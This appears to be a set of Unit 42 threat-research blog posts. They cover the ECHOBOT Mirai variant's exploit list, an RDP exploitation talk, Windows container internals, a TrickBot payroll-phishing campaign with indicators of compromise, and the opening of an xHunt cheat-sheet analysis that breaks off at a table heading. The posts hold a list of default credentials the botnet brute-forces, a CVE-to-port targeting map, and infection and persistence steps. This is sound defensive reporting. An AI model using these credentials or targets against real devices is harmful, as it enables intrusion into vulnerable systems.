Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities

Posted on by Ruchna Nigam

Executive Summary

Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.

Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019. Based on this seemingly odd choice, one could risk a guess that the attackers could potentially be aiming for the sweet spots of IoT vulnerabilities, targeting either legacy devices that are still in use but probably too old to update due to compatibility issues and newer vulnerabilities that are too recent for owners to have patched.

The newly incorporated exploits target a range of devices from the usually expected routers, firewalls, IP cameras and server management utilities, to more rarely seen targets like a PLC, an online payment system and even a yacht control web application.

This version first surfaced on October 28th, 2019 for a couple of hours, after which it was taken down. It then resurfaced on the 3rd of December, switching payload IPs and finally adding 2 more exploits that weren’t in the samples from October. While details on this version were recently published, this post shares CVE numbers (where available) for the vulnerabilities targeted, as well as IOCs for this version I have been tracking since October.

The following section also explains the discrepancy in the exploit count used here in comparison to other publications.

Exploits

This latest variant contains a total of 71 unique exploits, 13 of these vulnerabilities haven’t been previously seen exploited in the wild prior to this version. Exploits targeting the same vulnerability in different devices (potentially sharing firmware) or targeting different ports have been grouped together.

The exploits that are new to this version, and any previously seen Mirai variant for that matter, are listed in Table 1 below:

Vulnerability Affected Devices Port Scanned Exploit Format
CVE-2019-17270 Yachtcontrol Webservers 8081
CVE-2019-18396 / CVE-2017-14127 Technicolor TD5130v2 and Technicolor TD5336 routers. 161
AVCON6 Remote Code Execution AVCON6 video conferencing systems 8080
CVE-2019-16072 Enigma Network Management Systems v65.0.0 80
CVE-2019-14931 Mitsubishi Electric smartRTU & INEA ME-RTU 80
Sar2HTML Remote Code Execution Sar2HTML plotting tool for Linux servers, v3.2.1 80
CVE-2017-16602 NetGain Systems Enterprise Manager 8081
CVE-2017-6316 Citrix NetScaler SD-WAN 9.1.2.26.561201 devices 443
CVE-2013-5912 Thomson Reuters Velocity Analytics Vhayu Analytic Servers 6.94 build 2995 80
ACTi ASOC2200 Remote Code Execution ACTi ASOC 2200 Web Configurators versions 2.6 and prior. 80
3Com Office Connect Remote Code Execution 3Com OfficeConnect routers 80
CVE-2006-4000 Barracuda Spam Firewall versions 3.3.x 80
CCBill Remote Code Execution CCBill Online Payment Systems 80

Table 1 Previously unexploited vulnerabilities in latest ECHOBOT version

Other exploits included in this version are listed in the Appendix.

Other Technical Details

Like its predecessors, this version of ECHOBOT also makes use of the key 0xDFDAACFD for XOR encryption of its strings.

The new default credentials brute forced by this variant are listed below :

  • root/trendimsa1.0
  • admin/fritzfonbox
  • r00t/boza
  • root/welc0me
  • admin/welc0me
  • root/bagabu
  • welc0me/
  • unknown/
  • UNKNOWN/

Infrastructure

This version first surfaced on 28th October 2019 for a couple of hours, after which it was taken down. It then resurfaced on the 3rd of December, switching payload IPs and finally adding 2 more exploits that weren’t in the samples from October. Figure 1 shows the dropper script that was live at the IP 145.249.106[.]241 until the 12th of December.

Figure 1. Dropper script

Prior to this, samples of this version were briefly hosted at :

  • 45.89.106[.]108 on 2019-10-28
  • 80.82.67[.]184 on 2019-12-03
  • 80.82.67[.]209 on 2019-12-04
  • 145.249.106[.]241 on and after 2019-11-12

It makes use of the same domains for Command and Control as its predecessors.

IOCs for all activity mentioned in this post can be found at the Unit42 github.

Conclusion

The Mirai variant ECHOBOT differentiates itself from concurrent variants by the sheer volume of vulnerabilities targeted, as opposed to other variants that stick to certain vulnerabilities that have proven effective over time.

The exploits unique to this new version target vulnerabilities ranging from extremely old CVEs from as long back as 2003, to ones made public as recently as early December 2019. This choice of exploits could possibly imply its authors are targeting either legacy devices that are still in use but probably too old to update due to compatibility issues and newer vulnerabilities that are too recent for owners to have patched. We are unable to speculate at this point in time on the overall effectiveness of their approach - be it the use of a large number of exploits, or the choice of the exploits themselves.

Palo Alto Networks customers are protected by:

  • WildFire which detects all related samples with malicious verdicts
  • Threat Prevention and PANDB that block all exploits and IPs/URLs used by this variant.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag Mirai

Appendix

Other exploits embedded in this ECHOBOT version are listed below:

Vulnerability Function name in unstripped binaries Port(s) Scanned
CVE-2019-15107 webmin_init 10000
CVE-2014-8361 realtekscan,

dlinkscan

 52869,

49152
FritzBox Command Injection fritzboxscan 80
CVE-2019-12989, CVE-2019-12991 citrix_init 80
Xfinity Gateway Remote Code Execution xfinityscan 80
Beward N100 Remote Code Execution bewardscan 80
FLIR Thermal Camera Command Injection thermalscan 80
EyeLock nano NXT Remote Code Execution nxtscan 11000
IrisAccess ICU Cross-Site Scripting irisscan 80
EnGenius Remote Code Execution cloudscan 9000
Sapido RB-1732 Remote Command Execution sapidoscan 80
CVE-2016-0752 railsscan 3000
CVE-2014-3914 rocketscan 8888
CVE-2015-4051 beckhoffscan 5120
CVE-2015-2208 phpmoadmin 80
CVE-2018-7297 homematicscan 2001
SpreeCommerce Remote Code Execution spreecommercescan 80
Redmine Remote Code Execution redminescan 80
CVE-2003-0050 quicktimescan 1220
CVE-2011-3587 plonescan 80
CVE-2005-2773 openviewscan 2447
Op5Monitor Remote Code Execution op5v7scan 443
CVE-2012-0262 op5scan 443
CVE-2009-2288 nagiosscan 12489
MitelAWC Remote Code Execution mitelscan 80
Gitorious Remote Code Execution gitoriousscan 9418
CVE-2012-4869 freepbxscan 5060
CVE-2011-5010 ctekscan 52869
DogfoodCRM_Remote Code Execution crmscan 8000
CVE-2005-2848 barracudascan 80
CVE-2006-2237 awstatsmigratescan 80
CVE-2005-0116 awstatsconfigdirscan 80
CVE-2008-3922 awstatstotalsscan 80
CVE-2007-3010 telscan 80
ASUSModemRCEs (CVE-2013-5948, CVE-2018-15887) asuswrtscan,

asusscan

 80
CVE-2009-0545 zeroshellscan 80
CVE-2013-5758 yealinkscan 52869
CVE-2016-10760 seowonintechscan 80
CVE-2009-5157 linksysscan 80
CVE-2009-2765 ddwrtscan 80
CVE-2010-5330 airosscan 80
CVE-2009-5156 asmaxscan 80
GoAheadRCE wificamscan 80
CVE-2017-5174 geutebruckscan 80
CVE-2018-6961 vmwarescan 80
CVE-2018-11510 admscan 8001
OpenDreamBox_RCE dreamboxscan/

dreambox8889scan,

dreambox8880scan,

dreambox10000scan

 10000,

8889,

8880,

10000
WePresentCmdInjection wepresentscan 80
CVE-2018-17173 supersignscan 9080
CVE-2019-2725 oraclescan 1234
NetgearReadyNAS_RCE nuuoscan,

netgearscan

 50000,

80
CVE-2018-20841 hootooscan 6666
DellKACE_SysMgmtApp_RCE dellscan 80
CVE-2018-7841 umotionscan 80
CVE-2016-6255 veralite_init 49451
CVE-2019-3929 Blackboxscan 80
CVE-2019-12780 belkin_init 49152

Unit 42 Presents New Research at BlueHat Seattle on Three New Windows RDP Vulnerability Exploit Methods

Posted on by John Harrison

Overview

The Unit 42 threat intelligence team recently shared its latest findings at Microsoft’s invitation-only security conference, BlueHat Seattle 2019, on three new Windows Remote Desktop Protocol (RDP) vulnerability exploitation methods for Pool Feng Shui techniques. Pool Feng Shui is an advanced vulnerability exploitation technique that manipulates the kernel pool layout and state finely to facilitate arbitrary code execution.

The report, titled “Pool Fengshui in Windows RDP Vulnerability Exploitation,” is authored by Tao Yan and Jin Chen, shared three new Windows RDP vulnerability exploitation methods for Pool Feng Shui techniques. Yan not only showed how Bitmap Cache PDU, Refresh Rect PDU and RDPDR Client Name Request PDU can be used for Pool Feng Shui in the Windows RDP vulnerability exploitation, but also shared ideas about how to find Pool Feng Shui friendly protocol data unit (PDUs) from massive RDP documents and Windows RDP modules. These new techniques were demonstrated live to exploit the wormable BlueKeep Remote Desktop Services (RDS) Remote Code Execution Vulnerability (CVE-2019-0708) and can also be used in other Windows RDP vulnerabilities.

BlueHat Seattle 2019

Presented in a closed-door session by Yan, attendees in the research community dubbed this talk the “Best Talk of BlueHat.” Sharing this research arms defenders with knowledge about how Windows RDP vulnerabilities can be exploited and enables them to develop capable prevention techniques. The researchers showed that mitigating the exploitation techniques can not only decrease the possibility of BlueKeep to be exploited but also decrease the possibility of other Windows RDP vulnerabilities to be exploited successfully. This is part of Palo Alto Networks’ continued effort to disarm the advanced adversary.

Figure 1. Tao Yan Demos the Windows RDP Vulnerability BlueKeep Exploitation

Conclusion

Weaponized exploits for these vulnerabilities are prevented by Palo Alto Networks’ Traps multi-layered exploit prevention capabilities. Threat prevention capabilities, such as vulnerability protection with IPS and WildFire, provide our customers with comprehensive protection and automatic updates against previously unknown threats.

 

What I Learned from Reverse Engineering Windows Containers

Posted on by Daniel Prizmant

Executive Summary

In recent years containers have become increasingly popular. A few years ago Microsoft realized that and teamed up with Docker to offer a container solution for Microsoft Windows.

Judging by the number of severe vulnerabilities found in containers for Linux in recent years, it is likely that some vulnerabilities exist in containers for Windows as well. Windows, unlike Linux, is not open-source and because the container feature, in particular, is barely documented it is much more difficult to find said vulnerabilities. Currently, there is little information about the internal implementation of the feature in Windows. Reverse engineering the kernel was needed to better understand Microsoft’s implementation of containers.

I’ve found that job objects are used in a similar way control groups (cgroups) are used in Linux, and that server silo objects were used as a replacement for namespaces support in the kernel. Furthermore, I found out that Windows filters system calls in kernel space, thus preventing a container process from escalating its privileges and escaping the container. This post demonstrates we can learn a lot from reverse engineering Windows containers. Further research could help us better understand the threat model of Windows containers.

Some History

Until Microsoft teamed up with Docker, Windows was lacking some of the core features that were needed in order for containers to work properly, mainly namespaces, control groups (cgroups) and layer capabilities. After two and a half years of development and another year of beta testing in Microsoft’s Windows Insider Program, in September 2016, Microsoft announced that containers would be supported in the upcoming Windows Server 2016.

Namespaces were originally a unique feature for Linux providing a way to control what resources with which a process can interact. They are quite different from access controls because the process doesn’t know the resources exist. A simple example of this is the process list: there could be 100 processes running on a server, yet a process running within a namespace might see only 10 of those. Another example might be for a process to think it’s reading from the root directory when in fact it has been virtualized. In 2006, the Linux kernel was added the support for grouping processes together under a common set of resource controls in a feature called cgroups. It’s the combination of cgroups and namespaces that became the foundation of modern-day containers.

Luckily for Microsoft, Windows already had a control groups-like feature called job object. A job object allows groups of processes to be managed as a single unit. Examples include enforcing limits such as working set size and process priority or terminating all processes associated with a job. Microsoft was still missing a namespace-like feature, and so a kernel object called a silo was born.

The Result

Microsoft introduced two types of container architectures, shown in Figure 1:

  • Deploying an application in a fully isolated, Hyper-V virtual machine, which is supported on both Windows 10 and Windows Server.
  • Deploying an application in a lightweight silo container, which is currently supported only in Windows Server.

The first design is using a Virtual Machine (VM): the container(s) will have a separate kernel. This solution has two sub-solutions:

  • Linux containers in a Moby VM: This is a full-sized VM. In this model, Docker runs on the Windows desktop but calls into Docker Daemon on the Linux VM.
  • Hyper-V Isolation: Microsoft calls this “Linux containers on Windows” (LCOW). In this technique, the Linux VM got only the very basic internals that is absolutely necessary to run containers. In contrast to the Moby VM approach, each Linux container has its own kernel and its own VM sandbox.

In this post, I focus only on the second, silo container solution, which uses the host’s Windows kernel.

Figure 1. Server silo container vs HyperV

Implementation Details

Virtual File System and Registry

Without getting too deep into the implementation of Windows’ file system, every file access in Windows goes through a symbolic link. When a user calls CreateFile (which is an API function to get a handle to a file) for C:\secret.txt the C: part is just a symbolic link to something like \Device\HarddiskVolumeXXX\. When a process from inside a container tries to access C:\secret.txt the path is then converted to something like \Device\VhdHardDisk{123651}\ instead of the above. The exact same thing happens for registry keys. This mechanism is covered later in the article.

Figure 2. WinObj showing C: is just a symbolic link

Jobs

Jobs, or job objects are not a new feature and in fact were a part of Windows at least since Windows 2000. According to Microsoft, a job object allows groups of processes to be managed as a unit. Job objects are namable, securable, sharable objects that control attributes of the processes associated with them. Operations performed on a job object affect all processes associated with the job object. In our case, the main job of the job object is to limit resources for the container. Job objects are used for far more features than just containers, and that’s why they were introduced long before containers were born. Some of the main restrictions you can apply to a group of processes using job objects are:

  • Maximum number of active processes: This limits the number of concurrently existing processes in the job and can be used to limit the number of processes a container can have. New processes that exceed the limit are blocked from creation.
  • Across job CPU limitation: this parameter is used to limit the CPU time of all the processes in the job combined. Once a process exceeds the limitation all the processes in the job will be terminated.
  • Per process CPU limitation: this parameter is used to limit the CPU time for each process individually. Once a process exceeds the limit it will be terminated.
  • Process and job virtual memory limit: this parameter is used to limit the amount of virtual memory that can be allocated by either a single process or the entire job.
  • Network bandwidth rate control: this parameter sets the maximum outgoing bandwidth for the entire job, after the maximum outgoing bandwidth has been reached, throttling takes effect.
  • Disk I/O bandwidth rate control: this parameter is exactly the same as the network bandwidth just for disk I/O.

Figure 3. ProcessExplorer showing a job of inside-a-container process

Server Silos

Server silos are the main feature that allows Windows to have isolation good enough for a full container solution. For a better understanding of what server silos are, I first need to explain what a root directory object is. Without getting too much into the mechanism, enough to say that most of the named objects in Windows (files, registry, symbolic links, pipes, etc.) are under a root namespace called the root directory object. When a silo is created, another root directory object is created for that silo. From that point on, there is a different value for any named object (for example, the symbolic link “C:”).

Figure 4. WinObj showing a root directory object of a silo

Reverse Engineering

The information presented so far is described in official Microsoft documentation or other sources available to the public. However, some questions relating to the implementation of Windows containers are left unanswered by these sources. I decided to reverse engineer these parts to better understand how Windows containers are built. Some of the main questions I approached in my research were:

  • How does the kernel distinguish between containerized and normal processes?
  • How does the kernel provide access to files and registry within the container and not the host?
  • How does the kernel prevent the container from access to certain system calls such as loading kernel drivers?

I briefly answered some of those questions in the last section. In this part, I will get into more details and show some actual code from the kernel.

How Does the Kernel Distinguish Container Processes?

There are plenty of functions in the Windows kernel used to distinguish between processes and threads inside a container from those which are outside. Some of them are PsIsCurrentThreadInServerSilo, PsGetCurrentSilo and more. An interesting thing to observe is where those functions are called from; these places in the code may be where the kernel distinguishes between containerized processes and regular processes.

Figure 5. Some of the kernel functions that check if the process is in a container

How Does the Kernel Recognize Container Access to Files?

None of the checks related to identifying a containerized process happen in user mode. The kernel is responsible for distinguishing between operations of regular processes and container processes, including access to files.

First I have to briefly explain about system calls in Windows. Unlike Linux, applications don’t use system calls directly but rather call API functions that are delivered through internal DLLs. Some of those DLLs are not documented. Those functions call other API functions and which may themselves call others until eventually, the system call occurs.

One might think that somewhere along the road from the API function call to the kernel the container\silo check is handled. It isn’t. To be clear: if a process host.exe executes CreateFile(“C:\secret.txt”) from the host, and a process container.exe executes CreateFile(“C:\secret.txt”) from the container - both of them will get to NtCreateFile in the kernel with exactly the same parameters.

So, What Does Happen in the Kernel When Accessing a File?

Once we arrive to kernel land, our first stop is NtCreateFile . This function doesn’t do much by itself and simply calls IopCreateFile. In IopCreateFile the kernel starts handling silos by first checking if the current thread is attached to a silo. This check is done by calling the PsGetCurrentSilo function. This routine returns the current silo for the calling thread, specifically a pointer to the ESILO object or null, if the thread is not attached to a process in a silo.

Figure 6. A snippet from IopCreateFile showing the kernel handling silos

The pointer to the ESILO object is then forwarded to ObOpenObjectByNameEx which forwards it to ObpLookupObjectName. The most relevant part of ObpLookupObjectName is the part where it chooses the ObpRootDirectoryObject.

Figure 7. The RootDirectoryObject is chosen

With the last part we can get a pretty good idea of how things work. At the beginning of the post I explained how symbolic links are parsed from the root directory object. Now we have the last piece of the puzzle by understanding how the root directory object is being selected for each I/O request.

How Does the Kernel Prevent Container Access to Certain System Calls?

There are plenty of dangerous system calls and more than one kernel function to determine if the calling process or thread is inside a silo. For the specific case of loading drivers inside containers, I have found out that Windows does have a sufficient check in the kernel, which is relevant for many other system calls as well. In this case, IopLoadDriverImage which is the function NtLoadDriver calls to actually load a kernel driver image, simply returns a value indicating whether the calling process is inside a silo.

Figure 8. IopLoadDriverImage returning if the thread is in a silo

Some Security Concerns

When I started researching containers for Windows I was very curious about how Microsoft chose to handle access to the file system and dangerous system calls. The user inside the container is usually an administrator and has no limitations on the system calls he can execute. I was wondering what prevents a malicious container from loading a kernel driver, for example. Since the check is implemented per system call, it would be interesting to look into each specific implementation and audit for any possible mishandlings that could lead to security issues.

Summary

The information presented in this post is just the tip of the iceberg. I hope this post will encourage others to learn and write about containers for Windows.

 

TrickBot Campaign Uses Fake Payroll Emails to Conduct Phishing Attacks

Posted on by Bryan Lee

Executive Summary

By using a combination of Cortex XDR and the AutoFocus contextual threat intelligence service, Unit 42 discovered a recent Trickbot campaign leveraging legitimate cloud service providers to obfuscate malicious delivery behavior.

Trickbot is a well-known, modular credential stealer first discovered in 2016. It has been thought to be a descendent of another well-known credential stealer called Dyreza, or Dyre, due to similarities in functionalities and codebase. Due to its modularity, operators of Trickbot are able to gain access to different functions and capabilities by retrieving additional modules from the command and control (C2) servers. These include capabilities such as a worming function (i.e. copying itself to other devices), email inbox parser, and network reconnaissance.

Between November 7 - 8, 2019, Unit 42 identified a Trickbot distribution campaign delivered via phishing emails with subject lines using topics around payroll or annual bonuses shown below.

  • “Re: <Company Name> annual bonus document is ready”
  • “Re: annual bonus form for <name>”
  • “RE: <name> Payroll notification”
  • “RE: <Company Name>Payroll notification”

Generally, Trickbot and similar tools have been largely associated with using malspam with malicious document attachments as the delivery mechanism of choice by their operators likely due to ease-of-use, relatively low resource cost, and high success rates. In this campaign, instead of solely relying on email attachments, the adversaries included links to what appeared to be a legitimate Google Docs document which itself contained links to malicious files hosted on Google Drive. To further obfuscate the malicious activity, the adversaries leveraged a legitimate Email Delivery Service (EDS) called SendGrid to distribute the initial emails, and also hide the Google Drive links in the documents behind a SendGrid URL.

Once the user is fully redirected to the file hosted on Google Drive, an executable file is downloaded. This executable is a downloader tool designed to retrieve a Trickbot payload. Similar behavior was observed in August 2019 by Cofense.

Attack Details

The emails sent by the attackers appeared to originate from individuals at .edu email addresses which were likely compromised by the adversary. They then used SendGrid’s EDS to distribute the actual emails. This would have increased their likelihood of bypassing email filters, as it is a popular service used by organizations around the world. The body of the emails contained lure text consistent with the subject lines and links that utilized a SendGrid function called Click Tracking which sends a notification back to the sender of the email for tracking purposes. The following screenshots show a sampling of the emails received:

Figure 1. Screenshots of Trickbot phishing emails

Once the victim clicks on the links, they are redirected to a Google Doc document which has a link to a file hosted on Google Drive. This file is a simple downloader which has a single function of retrieving the Trickbot payload then executing it on the victim host. The attack flow can be seen in Figure 2.

Figure 2. Trickbot attack chain

In this campaign, we identified two downloaders:

Phishing Theme File Name SHA256
Annual bonus StatementReport.exe b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a
Payroll Preview_Report.exe f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6

Table 1. Trickbot downloader files

Both of these downloaders are signed by PERISMOUNT LIMITED and appear as Microsoft Word documents to Windows users, as shown in Figure 3. Due to default settings in most Windows deployments of not displaying file extensions, these files will not appear as obvious executables to a victim. Once these files are executed by the victim, a decoy pop-up is displayed to reduce suspicion of any malicious behavior. Regardless of whether or not the user hits “OK” or closes the pop-up window, the file will still proceed with the download and installation of the Trickbot payload. The payload in this case is a file named MHk6kyiq.Z6O and is saved in the user’s temp directory where it is eventually executed.

Figure 3. Downloaders using Microsoft Word icons

Figure 4. Decoy pop-up from downloader

Using Cortex XDR and AutoFocus, we observed that once the files were executed by the victim, they would then retrieve the corresponding Trickbot payload from a first stage C2 server. Analyzing these domains indicate that they are owned by legitimate organizations which suggests the adversaries were able to compromise the legitimate servers and hijack them to be a part of their delivery infrastructure. This tactic further increases the chance of evasion by the adversary as it is unlikely these domains would be categorized as malicious and in some cases, may actually have legitimate business use cases for the targeted organizations. Table 2 below depicts the downloader and URL used for each Trickbot payload.

Downloader C2 Trickbot Payload File SHA256
StatementReport.exe savute[.]in/supp.php nfdsus12.exe d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d89703482cafb2d8
Preview_Report.exe lindaspryinteriordesign[.]com/supp.php nfdusdarm.exe 7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b5289b42a747

Table 2. Trickbot Payload Download Locations

The two payloads, nfdsus12.exe and nfdusdarm.exe, were immediately identified as Trickbot by the AutoFocus threat intelligence service via the tagging system. AutoFocus tags are groupings of behaviors that are designed to immediately identify specific malware families, threat actors, campaigns, or exploits. These tags are developed and maintained by the Unit 42 research team and are continuously updated as threats evolve.

Figure 5. Trickbot payload tagging in AutoFocus

This specific variant appeared to be a newer version of Trickbot, using the file path %APPDATA%\cashcore to store its files and configurations. Once the payload is executed, it will spawn a child process (svchost.exe) in a suspended state, replace the memory with malicious code, and resume the process. The technique is known as process hollowing. From there, basic system information is collected, and it will attempt to communicate to its second-stage C2 infrastructure to retrieve additional modules.

Using Cortex XDR and its data analytics processing engine, we were able to validate this activity via the causality chain function as shown in Figure 6.

Figure 6. Cortex XDR causality chain

This workflow illustrates the described attack chain:

  1. Initial downloader, statementreport.exe is executed by the user
  2. Performs an HTTPS GET request to savute[.]in/supp.php
  3. Payload file MHk6kyiq.Z6O is downloaded to the victim and saved in the user’s temp folder.
  4. Payload is executed by the downloader and the downloader terminates
  5. Payload is renamed to дввшгаоа.exe and copied to the users %APPDATA%\cashcore directory
  6. File versioninfo.iniis created in the %APPDATA%\cashcore directory. This file is similar to older Trickbot variants that use the file settings.ini. Unlike settings.ini, versioninfo.ini is not encrypted or obfuscated, but contains random data to appear like a legitimate ini file.
  7. дввшгаоа.exe spawns an instance of svchost.exe which spawns another instance of svchost.exe which is then injected with the Trickbot payload. In this example, a built-in network recon module was run, which enumerated the victim host and network.
  8. For persistence, this Trickbot variant created a scheduled task named System cache service which is scheduled to run at user logon and upon initial execution checks itself every 11 minutes to see if it is already running.

The Wider Campaign

Using AutoFocus, we used the string supp.php within the URL as a pivot point to search for any other files that were delivered from that URL. An additional five samples were discovered that were also all tagged as Trickbot, making a total of seven samples. These samples used a different C2 delivery server, but behaviorally were the same. The two additional C2 servers also appeared to be legitimate domains which had likely been compromised and hijacked by the adversaries. Details about these samples can be seen in Table 3.

Executing another search in AutoFocus looking for the occurrence of the string cashcore within any File Activity revealed over 800 additional samples, also all tagged as Trickbot. These samples were all ingested into our WildFire malware analysis platform between November 4 - 22, 2019, suggesting that this specific variant was first found earlier this month and is currently still in use. These samples also encompassed a range of Trickbot related files, from the Trickbot payload itself as well as various Trickbot modules. All known indicators for this variant of Trickbot is available in the indicators section of this blog.

Date Observed C2 Trickbot Payload SHA256
11/7/19 clementeolmos[.]com/supp.php erfd1.exe 24e3fa3fb1df9bd70071e5b957d180cd51bcf10bab690fa7db7425ca6652c47c
e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0
d7687e1d98484b093e8da7fb666b2d644197fc3ea22b3931a6150c259479b0c
11/19/19 maisonmarielouise[.]org/supp.php SetupDesktop.exe dc8f259fb55a330d1a8e51d913404651b8d785d4ae8c9c655c57b4efbfe71a64
b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f

Table 3. Additional Trickbot payloads observed

Conclusion

By using a combination of Cortex XDR and AutoFocus, Unit 42 researchers were able to rapidly identify and discover behaviors associated with a newer Trickbot campaign without significant manual analysis. In this campaign, we discovered the adversaries leveraging legitimate services such as SendGrid and GSuite in an effort to obfuscate malicious activity. With the wider adoption of various cloud services by most organizations, these types of tactics should be expected to occur with even more frequency as these are additional avenues that can be abused by an adversary to evade detection.

In this campaign, due to the abuse of legitimate cloud services, the detection and prevention of the initial delivery may have been more challenging than if the adversaries had used their own infrastructure. However, having a policy, such as preventing unknown executable files to be downloaded or executed on the endpoint, may help prevent these attacks from succeeding against businesses.

  • Palo Alto Networks customers may learn more via AutoFocus and the Trickbot tag.
  • All Trickbot samples are properly detected as malware in WildFire
  • Trickbot C2 URLs have been added to URL Filtering

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org. (This is added to blogs pre-shared with the CTA, when loaded into WordPress it will be added when appropriate).

Indicators of Compromise

Trickbot Downloader Samples

f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6

b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a

Trickbot Payload Samples

7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b5289b42a747
d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d89703482cafb2d8
24e3fa3fb1df9bd70071e5b957d180cd51bcf10bab690fa7db7425ca6652c47c
e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0
d7687e1d98484b093e8da7fb666b2d644197fc3ea22b3931a6150c259479b0c6
dc8f259fb55a330d1a8e51d913404651b8d785d4ae8c9c655c57b4efbfe71a64
b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f

Trickbot Payload URLs

savute[.]in/supp.php
lindaspryinteriordesign[.]com/supp.php
maisonmarielouise[.]org/supp.php
clementeolmos[.]com/supp.php

Related Trickbot SHA 256

List of hashes on GitHub

xHunt Campaign: xHunt Actor’s Cheat Sheet

Posted on by Robert Falcone

Executive Summary

Unit 42 has been researching the xHunt attack campaign on Kuwait organizations for several months. Recently, we found evidence that the developers who created the Sakabota tool, which was previously discussed in the xHunt campaign, had carried out two sets of testing activities in July and August 2018 on Sakabota in an attempt to evade detection. These testing activities involved the developer compiling several variations of the tool with slight changes made to the code base, each of which the developer will submit to online antivirus scanning services to determine the vendors that detect their tool. The name Sakabota appears to be referencing a sword named Sakabato in an anime called “Rurouni Kenshin,” which fits the anime-themed tool names seen in the 2019 XHunt campaign.

While analyzing the Sakabota samples created by the developer in these testing activities, we found a cheat sheet that the developers included within the tool, which we suspect was meant to help the operator of the tool carry out activities on the compromised system and network. This is the first time we’ve seen a malware developer include a cheat sheet of example commands to assist the operator in carrying out the activities on the compromised system and network. We believe the inclusion of this cheat sheet within the tool may suggest that the developer and operator of the Sakabota tool are different individuals.

The cheat sheet includes examples of commands needed for persistence, network reconnaissance, pivoting, credential dumping, general system and network data gathering, as well as data exfiltration and commands to configure the system to allow remote desktop protocol (RDP) sessions. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands also suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool between the infected system and an actor-controlled domain. Also, the command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected. According to these commands, the actor would likely make these pivots to other systems by performing credential dumping from the Windows registry and process memory.

Some of the command examples include a domain or IP address, one of which overlaps with a domain that the group used to deliver CASHY200 payloads configured with firewallsupports[.]com as its command & control system (C2) that we discussed in our previous blog on xHunt. The cheat sheet also suggests the actors will use scheduled tasks for persistence, which included one scheduled task name that was used for persistence in the previously mentioned CASHY200 payload.

We have provided an analysis of the Sakabota tool, specifically version 1.4, including all of its functionality in the Appendix.

Testing Sakabota

While gathering Sakabota samples during our xHunt research, we came across several samples compiled between July and August 2018, which the developer created during two rounds of testing. The first round of these testing activities occurred on July 21 and 23, 2018, while the second round of testing occurred on August 6 and 7, 2018. Unlike our analysis of testing activities performed by other threat groups, we will provide a higher level synopsis of the activities rather than providing the minute changes made in each iteration.

Both rounds of testing included iterations where the developer either made slight changes to the codebase itself or used different obfuscation tools to see how these changes affected the detection rate of the Sakabota tool. In addition to changes made to the codebase and obfuscators, the developer also modified the embedded resources within the Sakabota tool to determine if they were causing detection as well. Based on the changes between the last sample from the first round on July 23rd and the first sample in the second round of testing on August 6th, we believe the two rounds of testing are one continuous testing activity with a two-week gap between them rather than two separate testing efforts.

The first round of testing started with the oldest known version of Sakabota, specifically 1.4.0.0, and resulted in a new version of 1.5.0.0. The second round of testing started with Sakabota 1.5.0.0 and resulted in a new version of 1.6.0.0. During the two rounds, the developer tested several different crypters and obfuscators, including “Confuser,” “ConfuserEx,” “CodeVeil,” and two different versions of “.NET Reactor.” Ultimately, in the second round of testing the developer determined that one of the “.NET Reactor” versions (possibly 4.8 or 4.9) resulted in the lowest detection rate, which prompted the developer to continue using this version of “.NET Reactor” for the remainder of the testing activities.

In addition to making changes to the code base and testing various obfuscators, the tester also made modifications to or removed resources embedded within the samples. The most interesting change to resources occurred in the first iteration of the July testing, where the developer modified the ‘k’ resource that was initially a text file that contained a cheat sheet for the actor to a blank document that contained nothing more than a byte order mark (U+FEFF).

Sakabota Cheat Sheet

During our analysis of the testing activities related to Sakabota, the oldest known sample (SHA256:
5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae) had an embedded resource named ‘k’. This resource contained text that at first glance appeared to be usage instructions for the tool, however, on further inspection it is a cheat sheet for the operators using Sakabota in how to perform a variety of activities once they have access to the targeted system and network. This cheat sheet gave us unprecedented insight into the tools and techniques the actor using Sakabota uses once they gained access to the compromised system. The cheat sheet also included domains and IP addresses within the example commands, which confirms our analysis that these network artifacts belong to this threat group’s infrastructure.

To access this cheat sheet, an operator would click the Knoldege button within Sakabota’s GUI, which would display the cheat sheet in a scrolling text box immediately to the right of the button. Figure 1 shows the Sakabota GUI with the Knoldege button clicked and the cheat sheet displayed in green text.

Figure 1. Sakabota’s GUI displaying cheat sheet

The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.

Section Heading Description
